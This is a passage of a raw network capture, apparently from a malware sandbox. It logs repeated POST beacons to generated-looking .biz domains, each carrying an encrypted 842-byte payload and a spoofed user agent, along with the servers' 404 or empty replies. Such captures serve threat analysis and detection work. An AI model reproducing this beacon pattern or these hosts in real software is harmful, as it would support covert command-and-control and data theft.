Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "b4:07:68:e9:66:20:d5:be:3e:03:00:00:0d:04:78:c6:82:34:e7:83:c0:e0:de:35:80:7e:67:da:c6:af:4f:7f:54:55:ab:34:a3:8a:b2:91:6f:21:bd:ba:b0:2a:00:f7:5c:49:5a:8c:60:0d:71:5f:7f:4d:2f:b9:6c:fa:6a:68:ea:43:db:6c:f6:2a:b8:8b:bb:78:fe:22:08:89:e9:76:f5:de:e9:91:a6:66:83:68:37:8b:24:ba:43:46:f1:e5:e6:5c:fb:86:16:a9:04:69:84:25:c8:b0:c2:bc:78:0a:5d:88:9c:75:40:7e:3a:86:73:a7:96:39:38:58:06:32:e0:85:35:94:95:20:13:74:48:a4:27:a7:f3:77:4a:5f:e5:ae:3e:67:72:a2:3b:46:a4:f5:f8:ca:d0:2f:69:82:5f:55:7f:6b:66:b2:c7:77:ba:03:0c:d6:7a:73:5f:6f:77:b1:54:0a:ab:7b:76:43:81:98:35:07:c1:8c:0d:4b:72:59:f4:8e:19:49:af:09:7e:49:7a:e1:4e:82:d1:2e:1a:51:11:70:7f:f6:e2:3d:d9:d4:52:5b:4a:7c:b1:6b:50:a2:7b:71:f3:c7:7c:fd:e2:05:f2:da:2c:fb:96:9c:31:a9:be:df:a0:f3:f6:20:aa:bd:bd:d6:78:e2:30:bf:82:28:76:ad:c6:3c:ec:46:af:5e:aa:36:6b:5e:78:ee:d7:15:e7:b9:7f:1b:04:a3:3c:f3:3e:80:fc:a5:32:ef:7e:b3:21:b4:46:7e:42:07:2e:09:11:fc:32:4c:09:0a:77:cd:8f:92:a3:18:12:b6:6f:69:e1:8d:d5:8d:09:e4:0c:6f:11:f9:65:bd:e1:42:23:81:9e:cd:2c:30:8a:b2:ba:fd:e3:25:00:c3:45:3e:58:ed:f5:43:a6:ac:fa:ec:ec:59:f0:5f:b1:9c:b3:f8:9d:20:66:ea:8a:ce:73:a4:20:de:23:3a:b5:06:47:22:6c:49:37:03:07:e2:f9:18:5a:48:75:38:b4:84:fb:9a:e9:f3:f4:36:2d:1f:76:00:e3:51:5d:e3:b2:85:c7:08:c1:e6:a5:26:be:f5:36:8b:f4:b8:b5:03:c9:dc:22:e1:aa:1f:7f:bf:e1:a8:cc:db:5c:91:0f:d0:c5:23:8a:bb:e6:74:c2:ac:72:44:11:b6:b5:bc:c6:14:12:a5:99:21:88:2e:a1:2a:fd:f8:33:e1:98:54:6e:af:90:28:8e:c9:7d:54:e8:05:11:eb:bf:12:89:e4:3e:c4:79:6e:73:5b:36:49:13:76:fd:d3:7d:a6:c1:40:ac:50:47:35:3e:15:9d:0f:f1:f2:f6:da:6e:4e:c7:dd:a9:75:c5:3b:ba:8f:a6:ef:98:20:4f:55:7b:cc:82:56:fb:f1:6b:50:87:0c:38:a1:6b:6a:42:fa:40:e4:b2:a7:99:30:23:a5:b8:95:4f:90:f3:46:77:c6:e8:41:92:79:a4:7e:ef:ad:d9:d7:95:02:f0:1a:5a:ff:33:55:fa:26:fd:b8:82:fb:40:06:f6:6f:43:2f:f4:27:09:38:0a:25:15:91:da:c9:2e:d5:e9:53:b9:95:f3:ad:42:01:30:8d:08:5e:6e:e6:5e:44:c9:02:a7:3a:d5:b4:f8:e0:63:31:06:7c:e6:e5:84:9e:b9:4f:d4:d2:9b:4d:e2:d2:18:a1:f0:97:ac:76:d0:2c:aa:da:12:2a:40:23:f5:42:22:e5:89:b6:bd:bd:57:33:b3:23:f7:a9:3d:04:77:1e:b5:28:df:d3:c2:06:13:53:c6:47:50:08:5e:10:3b:bd:f1:f7:18:ce:2e:06:16:3f:94:cd:d1:55:9f:fa:2b:51:42:a9:b1:88:27:cf:95:ac:5b:29:7c:b2:4d:f2:7d:cd:d2:15:2b:94:1e:1e:c4:06:18:7e:af:3c:70:7b:08:38:35:ff:31:b4:f2:5a:21:09:47:2f:83:2c:7e:95:be:35:6c:4e:13:67:a4:b8:cf:51:c0:9d:5d:14:32:2e:fe:df:35:f2:75:cf:1c:78:3b:6a:eb:61:77:8c:90:63:8b:36:da:7e:81:df:db:ed:bf:2e:27:35:3d:01:ae:a9:01:d1:a6:38:a9:2b:12:3f:7c:5a:64:0d:a8:83:a7:cd:dc:40:b5:a1:f1:c9:4d:b2:b4:f4:9c:0a:c0:95:d5:c4:ef:ff:e2:38:1b:d8:14:c2:51:0c:b1:c5" HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue 11 Nov 2025 08:50:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "POST /hhb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "82:24:ab:be:c0:78:c9:5b:3e:03:00:00:d5:72:b6:bb:00:7c:1a:38:a1:cb:1e:37:6a:fe:a6:a4:aa:23:06:81:88:d4:60:d2:46:a5:3e:35:a8:b6:75:68:0b:7f:09:01:3a:ad:40:f2:dc:ea:b4:b8:06:31:6c:bc:60:5d:a7:fa:86:25:f3:50:03:43:66:57:8d:e2:73:dc:36:91:a3:04:f7:e2:31:6f:c4:3a:84:5d:64:de:3a:5f:9c:07:71:2e:c2:80:dc:09:32:fa:62:59:bf:78:03:22:0b:91:d4:c0:ff:19:42:d5:8a:99:0a:20:93:7f:35:f3:d2:ba:6a:6e:93:cc:de:79:22:4b:f1:f5:85:38:0e:02:0e:d8:36:98:4f:47:84:96:17:cd:15:01:06:dc:94:34:8c:95:d2:d7:e3:fb:ff:bd:68:0a:ce:4d:71:80:b6:01:8f:26:d3:de:6c:ab:f5:1a:69:19:1a:5e:09:44:96:04:b4:4c:4d:1e:80:20:e6:ea:5e:9a:71:a1:be:9a:cc:86:be:1f:45:bf:8a:e6:1d:bd:89:9c:2c:22:1c:d2:23:f8:c9:4d:7f:3b:ae:1e:60:11:b7:e3:3a:67:6a:b4:56:60:9b:b9:6f:19:14:11:4c:06:74:55:98:5f:04:5e:1d:38:6a:09:06:9b:8b:3b:69:f4:e4:32:85:82:c4:15:47:a1:68:cc:c5:f1:aa:39:f3:64:93:4a:bd:80:da:48:f2:e3:50:a3:ec:36:3e:9e:a9:d1:64:81:51:93:f8:e2:06:ac:4c:0f:a3:ab:19:9a:53:f7:1d:3e:11:a2:8d:42:d2:3a:bb:42:39:dc:fc:5f:7a:00:d7:08:a7:bb:ed:46:d5:48:d8:78:7f:28:d1:9a:b0:1d:87:88:1c:bc:c8:84:53:e6:d6:86:89:bf:67:9f:aa:de:56:87:d2:aa:ba:c6:27:63:5d:bf:c5:92:23:c6:67:40:b2:0b:2e:94:8a:45:fb:28:c2:0a:77:30:f2:65:b3:c8:ac:5d:bd:1b:1e:f0:77:76:60:a4:ec:dc:b8:9a:e4:74:1e:bf:ed:99:e9:37:b8:7c:0b:33:e6:15:e6:4e:01:43:df:4f:85:33:89:b4:5a:36:4f:96:d2:e9:47:d1:f9:08:d0:00:f6:ae:f2:49:eb:63:e5:23:53:96:b2:6b:52:4d:99:98:7c:ed:a1:2c:fa:7f:19:a9:89:70:a9:e9:e8:e7:66:1e:2c:78:08:4c:5b:ed:eb:72:9b:ee:bf:41:93:72:b2:2a:e7:e5:07:f0:f3:bb:fb:6a:45:5f:7b:84:fe:df:40:87:ba:30:32:67:e5:5b:ad:0f:5a:cd:45:24:e3:8d:6d:f8:95:c0:eb:02:0a:39:4f:f6:64:4a:8c:c5:8a:e6:c6:f5:5b:4f:1f:93:d8:56:cc:d3:37:3e:81:ba:07:ac:58:3b:83:ec:1d:38:9f:2f:7a:90:0a:48:54:ff:9d:a1:b4:35:b3:d5:b4:41:9b:01:8c:8c:86:42:56:cf:92:53:5c:b8:34:22:89:b1:b4:d9:5e:3c:32:5c:5c:57:8b:25:fd:21:61:0f:6c:f8:5d:07:45:79:16:4f:9d:bc:e2:8f:64:67:65:4e:31:fb:62:1d:fe:7f:ff:d9:92:b9:a3:c4:a6:d3:ef:68:30:06:87:da:15:27:3d:f7:fe:bb:0b:aa:7d:a0:ad:43:f9:87:a7:59:48:47:ba:54:b5:d7:d1:1c:6d:43:7d:1d:5e:8d:d2:a9:ef:9c:4e:8b:92:5f:2a:28:10:59:ed:21:3e:f2:d0:c6:66:14:a0:aa:17:db:3a:cd:7c:b5:54:17:7b:22:35:0a:12:de:2c:9f:52:93:08:83:31:a5:4c:b5:54:27:6e:ff:1c:1a:6e:7d:91:c1:3c:34:86:04:ff:44:b7:33:51:4d:b2:d4:7b:62:f8:91:d9:74:41:1e:7d:08:91:96:99:22:9a:33:6e:73:0c:c1:6d:8f:90:cf:23:2b:74:2c:f8:8b:3c:94:de:37:d9:e3:29:81:99:55:bf:86:e6:4f:70:97:21:fe:7c:a6:0b:16:83:76:56:9e:4f:15:4e:0b:b3:a0:8e:8c:0e:d1:3c:5a:b3:67:5f:33:d2:7a:fb:2d:b3:db:f4:c1:ef:23:c9:1d:4b:f0:aa:ec:e0:1d:c0:c8:b8:81:4f:3e:b3:c9:b5:bd:67:6e:86:05:d8:4f:fd:2e" HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue 11 Nov 2025 08:50:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive with response body ==>33633A36383A37343A36643A36633A33653A30643A30613A33633A36383A36353A36313A36343A33653A33633A37343A36393A37343A36633A36353A33653A33....... "POST /jnkluegimqpt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gvijgjwkh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "bf:43:3f:e3:9f:1c:86:d7:3e:03:00:00:8d:74:25:89:dd:5c:34:14:0d:74:bb:ff:30:6c:80:e3:68:74:dc:65:2e:2f:80:5c:27:37:e6:e1:10:d8:eb:d8:33:82:6d:2e:93:87:92:7b:ef:15:a9:d1:29:61:9e:28:bc:69:25:d5:0d:f5:43:2d:ae:6b:61:e5:46:e2:18:69:22:e1:4c:39:4a:e0:fc:5f:24:73:a4:75:7c:21:c0:ae:b2:3d:00:de:75:25:b3:1b:ed:c2:16:71:50:a4:92:ae:1f:80:f3:de:32:d5:73:60:7a:2f:4f:fa:af:67:19:3c:2c:e1:9b:75:9f:29:8e:a9:5d:37:cc:73:66:b1:f4:dc:8e:c7:ce:78:d6:de:f5:2a:f3:a1:03:89:96:18:a8:f6:7e:8b:3c:88:34:23:e2:94:d0:3b:67:8f:06:fc:99:0c:ef:04:c1:f5:d2:25:dd:0c:66:58:cd:23:38:79:9c:26:c2:b6:dd:09:b8:7e:14:f9:8f:8d:4f:f2:f5:64:6d:d4:b2:86:8d:5c:3a:16:37:ba:39:bf:ee:fe:1e:f5:ff:1c:d3:d7:fa:08:1d:0a:e7:5f:dd:51:e2:11:f5:de:e5:38:b5:b9:30:f9:60:18:1e:71:ed:0e:3c:2f:85:97:0b:e6:b7:f5:78:0f:1e:5b:d2:b5:f3:b0:c6:10:e9:19:a7:7e:d9:38:20:69:06:db:53:81:ae:91:ef:79:33:95:e6:c8:e6:77:e4:b4:dd:d9:4b:95:5e:c9:81:d9:2c:cc:77:bf:68:23:f6:68:0f:b1:e8:d2:bd:e4:94:a6:81:64:73:bd:79:1f:2d:12:17:cf:ea:27:c4:d3:24:44:5e:28:0a:f3:9f:3a:67:8f:2b:c7:9e:f1:de:63:64:20:9a:95:de:b9:84:58:34:bf:f6:41:b4:65:a1:3e:1d:39:be:cf:00:c2:d9:69:ea:bb:73:f1:d7:db:4d:fd:5f:03:1e:5f:17:c8:e1:d3:63:a0:f7:8c:15:3e:10:8a:96:80:2e:02:80:e6:0d:21:34:63:8f:b5:62:bb:7c:2c:94:2b:56:45:13:d5:93:06:15:e2:22:c3:ea:35:8b:92:90:ff:f4:35:a7:cc:85:c6:3f:91:41:f5:32:c2:54:e0:9a:05:11:b0:2b:0c:7c:49:b5:e0:89:dc:7f:a7:9d:80:2f:28:ad:42:08:ec:8f:9f:f6:aa:1a:5d:42:1e:0e:a3:b2:b5:0f:16:a2:22:6c:38:bf:e0:8c:3d:c8:01:60:37:c3:4b:42:8d:90:45:8f:76:0f:19:6f:34:a7:85:2b:2d:6b:47:b6:e6:8c:2d:e6:0f:be:62:fd:b0:80:e9:db:14:17:31:3e:96:7e:84:ac:9b:9a:bc:0d:78:7e:8d:de:5b:46:80:0a:84:af:08:49:9a:e7:ce:26:58:8b:e0:6b:16:b3:34:50:7e:ca:7b:2b:84:7e:29:3f:8e:5f:ca:a8:bd:e2:90:81:2e:da:aa:48:82:d0:14:d7:a7:a5:d1:78:10:36:28:38:87:c7:32:42:f0:6e:e1:19:90:f2:3a:43:82:61:0c:65:65:00:d6:cf:35:9d:ea:ec:fc:fa:0e:ab:ad:52:52:61:05:0b:e4:4c:c0:b4:91:2e:56:38:2a:61:d4:ee:16:f5:1e:0e:e0:72:17:4a:ac:01:71:3f:ef:47:57:40:99:73:87:9d:4f:d2:85:8b:f5:44:b2:19:1d:53:db:bd:4b:d9:87:f4:e3:2b:17:d5:18:05:27:cd:45:ad:93:3f:76:b5:7c:03:3a:df:1d:ee:56:3a:77:76:27:3b:b8:fc:12:b9:05:4a:72:73:fa:56:4a:18:64:42:80:b0:7e:bd:bc:0e:c1:de:09:fa:ab:d0:a9:9c:36:26:e6:6b:02:04:68:61:2e:03:7a:80:c0:7e:27:1b:b4:d2:62:4d:da:b7:fd:63:c1:54:8d:4a:88:66:df:73:59:5e:bd:ef:b5:a4:14:16:3c:74:ba:a5:f6:45:55:7e:10:df:d9:75:35:08:ec:e9:e4:7a:03:10:08:1a:b7:bf:fe:9d:06:e6:23:a3:9b:4b:67:6b:8b:98:d4:8a:da:6b:b7:7a:f6:8a:89:b9:c1:43:ec:a7:92:22:5d:7f:cc:93:74:97:31:8f:c5:d9:82:75:84:ae:63:62:b1:3a:0f:13:ad:4e:e4:f6:61:4d:40:31:be" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:51:26 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /iqabmrerpvy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: brsua.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "64:78:53:2b:54:f9:20:1b:3e:03:00:00:9d:6c:2d:9a:8b:b7:c6:1c:97:0d:9d:64:87:63:10:c9:9a:8a:97:2f:16:49:a7:d7:62:97:62:ec:18:40:d1:7e:3d:1d:a2:ca:f9:ea:61:30:e0:67:99:c6:f5:13:b9:3f:d2:c5:f7:45:f6:0f:e3:c2:d6:37:25:9e:83:00:00:99:fc:4a:97:05:5f:f7:02:1e:f0:d9:70:0c:d3:3b:97:b1:19:bb:17:15:c1:52:03:53:12:64:a9:57:60:90:8e:c6:82:38:3e:c1:37:b9:26:0d:48:db:64:2d:4f:09:4f:a1:c3:0a:97:c7:01:a7:3d:44:5e:1c:a9:f8:48:14:7e:b5:4c:76:79:f3:63:4e:90:e0:b6:45:27:bf:7c:8c:f2:6e:9a:65:75:4d:3d:b4:d8:71:a8:6d:82:8d:d5:d0:8a:d9:ac:7a:80:b1:0b:1f:23:83:08:55:40:46:fc:c6:51:7a:dc:c6:e4:54:c0:9d:77:b3:dc:80:57:53:4e:77:5f:12:75:3f:d8:65:53:a0:eb:72:c8:84:fd:1b:27:71:03:0b:40:cd:01:bb:23:b9:f7:d6:2e:4b:2a:6e:e4:4e:dd:c3:93:e3:38:b7:f7:8f:02:e8:f8:20:92:f2:c3:70:5c:0e:76:22:1b:6b:a6:50:12:b1:2d:81:ac:59:62:52:53:f8:c2:03:bb:7f:0c:19:9d:71:4b:1e:5d:bc:c5:d5:9b:45:e0:87:4d:bd:24:7a:8c:3f:82:f4:41:56:ca:56:72:9e:0a:a5:69:0d:d0:bb:c5:ea:47:de:a7:b8:d4:a0:d5:89:c1:ac:a8:cc:2a:06:74:12:40:b5:1b:6b:0a:4a:e9:b7:19:9f:76:48:13:93:fa:24:79:62:9e:6f:4d:3a:56:b0:19:7d:1c:c3:b9:4b:c4:0e:8b:89:47:4e:7e:4a:a9:34:9d:c2:04:35:a6:c1:e2:8d:e3:81:40:3a:6f:fa:ce:c4:c8:9a:26:85:3f:17:18:ff:58:6f:e6:a1:64:59:ad:a1:68:b2:2a:f9:50:d2:fe:e9:56:b5:d1:10:a6:ff:7a:e4:e3:86:94:48:49:60:d1:04:95:78:a4:8a:95:ba:b9:51:68:b4:47:ba:19:c0:7e:91:7c:3f:dd:e3:8a:c0:7e:3f:5b:66:09:fd:2d:29:f7:67:ee:0e:97:03:63:91:59:4e:0e:8b:e0:c6:cf:0d:1a:54:cd:19:d6:ce:58:ce:f2:8f:e2:f2:fc:94:57:91:55:aa:45:98:9d:c7:09:65:55:0f:62:3f:e7:33:a3:d2:00:b7:22:a1:49:a6:0c:0b:27:cf:ee:5f:47:5d:f2:47:d4:f8:f6:01:36:67:a9:41:21:0f:4e:63:f9:33:55:8f:0e:d1:2d:28:97:db:94:9b:d6:11:5a:2b:93:9c:e2:3d:eb:13:52:65:46:d1:7c:bf:e3:fa:57:2d:fc:e1:96:f6:f1:5c:d4:35:42:e0:d3:ed:a6:ce:d8:5a:c2:bd:bb:05:8d:72:f6:8f:4a:f4:87:ee:ae:ff:de:a9:b8:0b:dd:16:4b:70:66:c6:2c:06:13:0d:44:86:88:9e:d2:20:9f:a0:78:dc:55:6f:b3:f8:20:47:ce:05:de:f7:52:7e:39:aa:e7:71:b7:18:e2:7c:d6:51:9a:25:fa:62:34:a2:17:bb:90:4b:cf:93:66:d5:31:10:4a:b2:38:49:32:46:5d:e8:34:a0:ba:4e:4c:ee:c8:4f:bd:47:2f:0d:33:fc:98:6f:55:24:d1:df:51:4d:b6:3e:56:b1:08:c5:76:43:ca:e0:85:b7:9d:3c:27:2e:af:12:17:69:e7:fc:40:49:cb:0f:fb:85:29:d7:8b:a3:91:cd:ca:99:a7:ba:50:50:7d:8f:0e:64:f5:2b:7a:86:5f:43:b1:96:87:b0:8e:d2:c3:17:a4:62:36:49:4f:82:5f:d3:4d:fc:c1:ff:8d:d7:a5:87:f0:4a:f7:d5:6f:64:c8:9f:2b:22:a7:22:09:14:0a:f9:0a:a0:bd:1e:b8:d1:39:e5:34:d7:df:42:8a:68:cc:47:3b:41:3c:44:13:5a:d4:c1:6a:12:5d:73:00:51:9d:73:a8:ab:3a:8a:d6:75:02:60:16:6d:2f:1c:e6:b6:a1:d9:ab:04:f5:05:65:cf:8c:3a:56:fe:c0:37:8a:e8:67:c4:b1:06:e2:95:2c:c6:05:a8" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:51:30 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /piyuaqnwgrufdfb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "cd:71:ed:71:6e:8e:da:21:3e:03:00:00:5a:59:fd:a9:19:b1:d1:d8:6e:4d:dd:4d:6e:60:41:9e:fa:99:7e:40:59:58:e4:2a:c0:68:4b:52:16:16:36:82:58:9d:3c:d4:48:4d:5b:5b:f3:eb:a5:f6:3e:e9:aa:d7:ca:9b:c5:89:eb:41:7a:aa:6d:a4:fa:5a:69:75:80:a2:2a:65:b4:86:e7:0f:a1:3a:5b:4a:f1:12:00:41:ee:bc:73:6c:7b:45:6a:b7:81:bf:04:17:ab:da:64:a5:1a:45:b1:9c:5e:84:ae:c7:c4:cb:99:11:b0:76:d0:75:5b:4c:08:65:fd:24:09:18:1a:71:5d:14:ea:fb:1c:49:95:04:bb:6f:e0:d1:9f:07:6b:15:6d:82:13:30:71:c8:07:dd:ce:33:f9:21:a5:8c:04:fd:8f:85:10:0d:f5:0d:3d:97:61:97:e8:4f:1f:1e:34:50:bf:01:cc:75:63:ae:1f:b2:bc:a7:5c:88:85:87:cd:56:dc:cc:85:76:dc:fa:dd:45:15:19:16:5a:4b:2a:18:e8:49:ec:d1:6b:85:50:df:8d:68:5d:ff:3e:b0:1f:dc:eb:73:c3:4f:d4:00:a0:c8:7b:7a:5c:7c:0f:d0:52:67:45:f6:06:19:b2:3a:9c:e4:4e:4e:ee:24:8c:3c:17:9f:67:94:6d:fd:68:42:1d:c0:32:2c:bf:a6:d7:6b:47:5c:21:31:6b:c8:8f:23:da:31:2c:74:5c:ff:3d:10:21:18:b7:29:ad:f7:59:f5:6e:7d:d5:86:00:ee:0f:ff:56:44:bb:c3:f0:1a:47:36:c1:fd:0a:a9:a3:ee:77:28:af:eb:b8:1c:54:4a:e7:31:b0:d2:02:c1:d8:2e:db:ec:3e:12:df:d8:07:26:be:5a:3d:bc:89:ee:f3:a6:0a:f0:a1:93:1a:d4:db:1f:b7:60:71:b8:e6:e8:83:fb:45:4d:39:ea:55:53:c7:8d:f1:18:d1:54:cb:1d:e9:6e:0a:1b:2a:b4:fb:39:d2:9a:b4:d5:4a:37:cb:dd:fd:67:0d:c3:66:28:b6:e6:73:b2:84:17:93:d7:3c:8f:3f:60:98:fe:91:1e:ba:e6:11:ee:3e:79:15:0f:86:34:a9:72:cc:f0:f5:e7:f9:41:45:7a:31:0b:4b:e8:24:9b:83:83:a9:90:f5:8a:db:6e:46:ee:82:87:61:d4:1c:e5:5c:8d:7d:82:fc:89:74:a7:ef:d6:70:9f:9d:e3:5f:91:84:69:68:2a:c3:ac:e4:6a:11:dd:37:26:c9:08:de:16:53:5d:57:72:5a:af:e5:bd:88:d0:16:4d:31:53:2e:49:a8:c5:54:42:3c:b4:fb:49:1e:0d:22:f0:ca:33:54:38:91:6a:7a:c3:54:88:45:b3:94:93:96:cb:5e:4c:2f:cd:bd:80:7c:b5:dd:28:93:79:3d:cd:b2:78:01:25:26:68:2b:74:69:f7:c4:42:dd:ef:a8:ca:55:6c:65:08:3e:14:8a:b9:cf:18:6a:ff:ed:a7:33:d5:13:7c:dd:63:77:82:2c:2a:f7:4b:db:f2:aa:fc:72:95:9d:6b:e6:d2:7a:19:02:27:3a:c0:43:66:b8:ed:d8:51:ab:ee:19:e9:9d:d7:af:8b:74:3a:16:b3:82:b9:3f:24:bb:dc:f4:82:92:15:e8:63:fe:33:a0:73:64:a5:54:b7:e8:c2:bd:8c:59:39:c5:70:1c:d3:8f:0b:9f:91:be:49:ff:e5:e6:7a:b1:fb:17:53:ba:55:c7:84:75:61:58:dd:eb:7f:f3:1a:3d:4a:5e:08:d6:64:18:a5:66:d3:9c:54:c3:8c:29:74:9c:89:3b:b3:28:71:df:10:2e:d2:a1:d7:66:47:cc:65:ea:67:50:ff:1c:52:38:21:db:51:42:67:81:2e:9e:bc:47:82:47:41:47:a4:a2:dc:18:f2:ba:31:47:1b:92:0a:1d:42:fc:6f:4a:01:a0:21:9c:5a:d3:10:b7:ce:47:8b:5a:d0:4c:9f:90:54:23:77:fe:e7:58:a9:a7:84:74:75:fe:0f:82:40:b3:7c:b1:55:30:81:14:91:e9:97:1e:3e:95:d0:af:aa:47:8a:8f:88:2b:02:85:5f:c9:c1:96:06:5d:b2:c7:05:48:59:62:08:38:29:86:bf:f4:1b:f4:a0:78:0b:fc:52:56:2a:cb:aa:62:f2:fe:9e:1f:ed:9e" HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue 11 Nov 2025 08:51:31 GMT Content-Length: 19 with response body ==>33343A33303A33343A32303A37303A36313A36373A36353A32303A36653A36663A37343A32303A36363A36663A37353A36653A36343A3061....... "POST /foaa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "03:6a:3b:a8:f7:b7:1b:f1:3e:03:00:00:d0:10:06:3d:5a:b6:37:ad:9c:b1:3a:d9:0f:bd:d3:ad:c4:a9:40:29:a9:28:a3:8b:81:4c:1e:cc:4b:86:fe:17:df:e6:c8:67:9b:d7:b5:20:41:e2:ca:e7:8e:ad:93:fc:2f:72:39:1a:4b:86:94:b9:1d:64:a2:f4:72:c0:38:9a:6a:48:04:2d:88:7a:b4:e5:eb:53:cf:be:87:e4:6e:17:24:92:17:cb:c2:d8:3e:8b:32:b7:b6:8e:8f:6b:2b:2c:2b:50:c6:5b:03:10:7a:ae:11:e4:60:f4:92:06:b4:86:a5:e5:e2:36:90:53:c5:21:51:a0:ae:b9:0a:4f:77:e5:1a:06:ec:0a:31:a9:e2:8f:76:d8:2f:44:60:68:c6:e9:ff:30:98:b5:d3:2b:ab:62:3e:21:fe:f2:57:80:60:07:b4:85:ad:e9:a9:25:65:b1:c9:91:6b:be:d7:81:46:05:1e:37:3e:f6:f1:d0:79:b0:9b:ff:38:b7:3e:fb:b4:b9:05:ff:ea:55:95:6d:07:34:9c:33:06:e1:29:77:8f:db:50:5f:7f:d0:b0:5e:3e:53:64:90:e1:d6:ff:66:c1:5a:e5:f8:79:df:02:ef:3b:e6:f5:69:73:ed:cf:79:b5:6c:95:74:d7:30:eb:8b:8f:d7:43:0a:f2:0c:4d:46:a2:07:8c:63:d0:1b:e2:10:50:fe:91:13:da:7e:85:1e:85:99:1c:9e:56:88:4c:9b:bc:a4:f2:85:03:22:63:7d:dd:06:76:74:23:cd:70:5f:f0:69:07:df:87:d7:06:3c:b7:42:98:d0:47:63:20:ab:9b:f4:61:82:6c:c0:a7:95:e7:eb:9c:ac:3f:ee:ee:63:43:10:4f:7f:75:80:10:e5:57:1a:4e:39:ef:c4:65:64:be:95:31:ea:bc:91:c9:a6:92:46:6e:03:51:22:6a:ac:41:6b:be:d4:0e:09:99:dc:83:b4:87:7e:87:32:03:19:67:86:59:b8:ec:5b:c1:fa:40:6a:94:44:37:1d:77:35:69:5c:b4:0f:b4:c0:03:c8:97:e7:d6:9a:87:6f:aa:a4:3e:00:1a:53:2e:79:46:54:19:78:ad:5b:58:31:f3:4e:01:8b:a7:7c:48:4c:85:48:92:24:dc:45:24:87:90:19:cd:33:ab:62:a2:1c:7d:e9:fe:33:70:a0:32:10:92:0a:ce:a9:e6:7c:40:81:24:50:62:1e:bd:13:5c:1a:43:14:70:a1:d8:1f:0c:7d:89:4c:f9:e7:54:57:9c:34:64:b9:08:84:88:17:c0:39:44:fa:7f:5d:cb:4a:2e:e2:0f:45:dc:4c:91:f2:7c:9f:91:55:c0:c6:4a:01:bb:14:19:ae:85:be:0d:26:c0:b1:c5:ed:e9:78:52:8d:36:54:71:f7:6a:0b:b4:08:33:3f:63:cb:2c:65:c2:50:ad:d3:48:25:f8:53:e5:15:69:e4:8f:09:63:56:c7:0f:46:3b:e7:0c:35:af:c9:bd:20:cb:7b:e4:47:29:3f:c0:bc:74:ef:b0:37:3f:c3:4d:d3:53:e6:c2:53:38:62:17:df:26:ca:cf:6f:8b:f3:f3:0a:ed:fa:4f:fb:51:18:f8:5f:7f:34:5c:90:fa:ea:76:d6:01:2e:32:3b:6b:d3:e1:34:ba:5c:06:da:c8:7c:6b:c9:c5:62:80:90:0c:e5:12:36:d4:6d:1e:c4:6b:2e:b9:1f:88:a4:9f:9e:54:63:81:05:fb:d9:98:eb:e9:9b:9b:cd:ed:65:45:96:e2:aa:db:ea:c1:e9:13:1e:fa:7d:12:89:82:e8:86:c2:ed:62:0a:bf:dd:5d:88:3d:84:7c:96:bb:7f:b7:e4:88:fe:b2:be:1d:bd:42:c0:bc:68:0f:31:7e:09:64:57:4b:d6:72:b4:cc:e7:b1:04:5a:6d:d2:81:75:bb:9f:e7:6a:59:20:9f:88:37:84:f7:53:76:13:3c:66:b3:31:e6:ef:60:a0:65:44:e5:00:eb:36:e3:56:1d:66:ff:d7:63:00:2e:87:43:c7:8e:14:9f:e3:73:d7:5a:36:72:7a:54:48:2c:6b:57:ff:6e:b2:68:9a:cb:09:01:89:98:13:47:dc:8b:ba:f4:e0:d1:3f:95:e7:a9:12:b8:1c:f4:1e:9e:8d:0f:8a:9f:c8:f2:2d:44:a9:f5:df:8d:c7:c8:3c:2d" HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue 11 Nov 2025 08:51:32 GMT Content-Length: 19 with response body 